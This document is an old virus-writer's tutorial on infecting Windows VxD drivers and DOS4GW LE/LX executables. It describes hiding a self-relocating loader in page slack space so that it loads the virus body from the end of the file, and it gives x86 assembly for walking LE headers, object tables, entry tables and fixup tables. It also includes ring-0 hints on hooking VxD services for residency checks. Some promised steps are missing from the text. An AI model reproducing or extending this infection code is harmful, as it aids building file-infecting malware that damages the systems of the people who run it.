In this article I will announce my aproach to infection of strange platforms as are Windows VxD or dos DOS4GW. Both platforms are running under similar environment - in FLAT memory model both are extended 32-bit so this is the reason why I have dealed with both of them.
So let's start
In both cases we will infect host with small loader, that will load and execute main part of virii. This strategy is nice because there is no code executed in last section and so on.
LE (as I will call LX too, because there are similar or even the same), is intel friendly, because it uses 4096 bytes long pages. Each section is aligned to page. This means, that in average case 2000 bytes in code section is unused and free. Nice, isn't it :-). This wasting of space we will use to insert our short "loader" that will load other stuff from end of file (if you want, it may be placed elsewhere, or you may groove last section - i have a feeling that there may be debug info or other shit, so not so fast) and execute it. Because of flat model and you never knows where will you be loaded, this piece of code must be self-relocating. Enough of talking, go on.
VxD starts as regular dos-executable with pointer to next header at 3Ch (just like in PE). With DOS4GW it is a bit difficult. DOS4GW starts with some stupid stub, that will load main LE/LX executable. I don't deal with this too much, I just looked at some Dos4GW and wrote this part of code
readfile is macro as follows:
readfile ofs, size, buf reads at offset ofs+file_base+objectr size bytes to buffer buf ; check if WATCOM ? loader mov file_base, 0 ; base of start of LX (to skip stubs) mov objectr, 0 cmp byte ptr infmode, INF_DOS4 jne short continue_vxd readfile 0h 16 le_header ; check exe signature cmp word ptr le_header, 'ZM' je short ok001 cmp word ptr le_header, 'MZ' jne novalidvxd ok001: movzx esi, word ptr [le_header+4] dec esi shl esi, 9 movzx ebx, word ptr [le_header+2] add esi, ebx readfile esi 24h le_header cmp word ptr [le_header], 5742h ; some kind of executable? jne short continue_vxd add esi, dword ptr [le_header+20h] mov file_base, esi continue_vxd:
now file_base should point to regular DOS 'MZ' exacutable with dword at 3ch set as it should have. So just get start of LE header like this and check some formalities:
readfile 3ch 4 le_seek ; read le header readfile le_seek 100h le_header ; check 4 signature cmp word ptr le_header, 'EL' jne nole ; check if pages are 4096 bytes long cmp dword ptr le_header+28h, 1000h jne nole ; ...
Now we have to understand some LE specific stuff. At first LE is fragmented to sections (similary like PE). Sections are called Objects here. Objects are in header and there is usually not enough space to create your own object. This code will compute offset of eax-th section descriptor:
; compute object descriptor offset in file (relative to file_base) ; eax - object num getobjptr: shl eax, 3 lea eax, [eax+2*eax-24] ; first object is num 1 add eax, dword ptr le_header+40h add eax, leseek ret
Object descriptor structure is as follows:
object_desc label byte ; object info record virtsize dd 0 ; object virtual size virtbase dd 0 ; object virtual base flags dd 0 ; flags pageindex dd 0 ; page index ... pageen3z dd 0 ; num of page entriez dd 0 ; alignment? object_desc_len = $-object_desc
This offset of object in file should be computed as
objectr = *(dword *)[le_header+80h] + pageindex<<12
Object in file is (of course) not fragmented. It starts at objectr and ends at (objectr+pageen3z<<12-1)
The second new entity in LE are entries. This is some kind of exports in PE. This is how to assume offset of eax-th entry: (objectr will point to start of entry).
; this will assume entry eax (read and write will be relative to this) ; assume entry eax - entry num le_assume_entry: ; relative to header mov edx, leseek mov objectr, edx ; get entry offset in file add eax, eax lea eax, [eax+4*eax+1] ; * 10 + 1 add eax, dword ptr le_header[5ch] ; read entry descriptor mov ecx, 10 lea edx, buffer call rdfile ; get object num movzx eax, word ptr buffer+1 ; assume this object call le_assume_object ; add relative entry offset mov eax, dword ptr buffer+4 add objectr, eax mov objoffset, eax ret
And the last thing you need to know about are relocations. Because code
may be stored anywhere between 0-4GB, each access to memory has to be
relocated. (The only one exceptions are jumps which are relative to itself).
Because of this LE has very complex structure of relocation (much more
complicated than PE). Because of complex structure of relocations, many
compilers are seting values to be relocated to 0.
If you really want to deal with this i will advise you to some documentation. But if you don't this is a fragment of code that scans for relocation:
This is code i wrote to parse relocation table and to find some relocation that relocates eax: I wrote it so far ago so i will be not trying to explan this - just see documentation (as far as i know there is no good documentation :-( ).
; finds fixup for eax in fixup table that relocates eax ; sets fixupptr = ptr to entry in fixup table (relative to filestart) ; parses whole fixup table in order to find an entry and create relo map ; eax = pointer to find find_fixup: mov edi, eax xor eax, eax mov fixupptr, eax mov fix32, al mov fix_important, al ; allocate table for relos mov eax, RELO_TABLE_SIZE/8 mod_call md_alloc mov relo_map_ptr, eax ; make whole area unusable push edi mov edi, eax xor eax, eax dec eax mov ecx, RELO_TABLE_SIZE/8/4 rep stosd pop edi ; walk across all objects and process some of them xor eax, eax inc eax @@loop_section: push eax ; eax = object ptr call le_assume_object mov eax, leseek mov objectr, eax ; base to LE filestart test flags, 10100000b jnz @@skip_this_object mov eax, objpage mov temp_base, eax ; get size of object mov ecx, pageen3z push ecx shl ecx, 12 call zero_out_block pop ecx mov eax, pageindex ; walk through page map and fixup entries @@process_page: push eax ecx ; load item ; 4 bytes long entry dec eax shl eax, 2 add eax, dword ptr [LE_header +48h] mov ecx, size page_map_table_entry lea edx, page_desc call rdfile ; doesn't work on VxD LE files ; cmp page_desc.page_type, 0 ; je @@hardcopy_no_work movzx eax, page_desc.fixup_index xchg al, ah ; now get ptr to relocation by index push eax dec eax shl eax, 2 add eax, dword ptr [LE_header+68h] lea edx, fixup_cur xor ecx, ecx mov cl, 8 call rdfile ; in this table is one entry with no meaning, just ; identifying end pop eax mov ecx, fixuptrnext mov eax, fixup_cur sub ecx, eax add eax, dword ptr [LE_header+6ch] ; eax points to fixup table ; process ecx bytes from fixup record add ecx, eax sub edi, temp_base @@loop_this_page: cmp eax, ecx jae @@just_done @@cont_relo: push eax ecx ; load relocation in buffer lea edx, buffer mov ecx, 20h call rdfile ; process relocation lea esi, buffer xor eax, eax ; get first byte lodsw mov ecx, eax ; test if single test cl, 20h jnz @@multiple1 lodsw call set_eax cmp eax, edi sete fix_important jmp @@not_multi @@multiple1: lodsb ; count mov dl, al @@not_multi: ; check for unknown relocation mov eax, ecx and ax, 0001100001111b cmp ax, 7h je @@type_78 cmp ax, 8h je @@type_78 ; marker 'unknown relocation' ; raise_x INF_FILE_FATAL @@type_78: ; assume object is 8 bit lodsb ; if important object store ptr and size cmp fix_important, 1 jne @@no_important mov fixupptr, esi sub fixupptr, offset cs:buffer mov eax, dword ptr [esp+4] add fixupptr, eax mov eax, objectr add fixupptr, eax xor eax, eax test ch, 10h setnz fix32 @@no_important: lodsw test ch, 10h ; check if 32-bit jz @@fixed lodsw @@fixed: test cl, 20h jz @@nomultiple2 mov @@prefix, 66h test cl, 10h jz @@no_prefix_chg ; marker '32-bit repeated relo' mov @@prefix, 90h @@no_prefix_chg: movzx ecx, dl @@enz: @@prefix db 66h, 0adh ; lodsw call set_eax loop @@enz @@nomultiple2: pop ecx eax sub esi, offset cs:buffer add eax, esi jmp @@loop_this_page @@just_done: add edi, temp_base ; done @@hardcopy_no_work: pop ecx eax inc eax add temp_base, 1000h dec ecx jnz @@process_page @@skip_this_object: pop eax inc eax cmp eax, dword ptr [le_header+44h] ; cnt of objects jbe @@loop_section ret set_eax: push eax ebx add eax, temp_base shr eax, RELO_TABLE_BLOCK_SIZE cmp eax, RELO_TABLE_UPPER_LIMIT ja @@err mov ebx, relo_map_ptr btr dword ptr [ebx], eax pop ebx eax ret @@err: ;marker 'RELO_TABLE_EXCEED' pop ebx eax ret zero_out_block: push eax ebx ecx mov ebx, relo_map_ptr shr eax, RELO_TABLE_BLOCK_SIZE @@zero_out_next: btr dword ptr [ebx], eax inc eax cmp eax, RELO_TABLE_UPPER_LIMIT jae @@cln_exceed sub ecx, (1 shl RELO_TABLE_BLOCK_SIZE) jb @@zero_out_next @@cln_exceed: pop ecx ebx eax ret
This is way i proceed VxDs:
mov eax, dword ptr le_header+18h ; entry object or eax, dword ptr le_header+1ch ; entry offset jne novxd ; seems to be a real executable ! ; UPDATE
And what your dispatcher should do:
Some hints on ring 0
db 0cdh, 20h, xx, xx, xx, xx
where addr is pointer to some internal table where is stored pointer to function. You must agree this was designed for viruses to get control over service. This may be useful, when you want to check wether you are resident or not.
call dword ptr [addr]
That's all about this .... happy coding
And now some few words about DOS4GW LE:
In DOS4GW you may relay to DPMI (that should be supportet quite good) under any platform it works.
You don't need to deal with fixupps and other shit.
Your loader will do this:
As you see DOS4GW is pretty easy target ...
What to say at the end? ... do your best!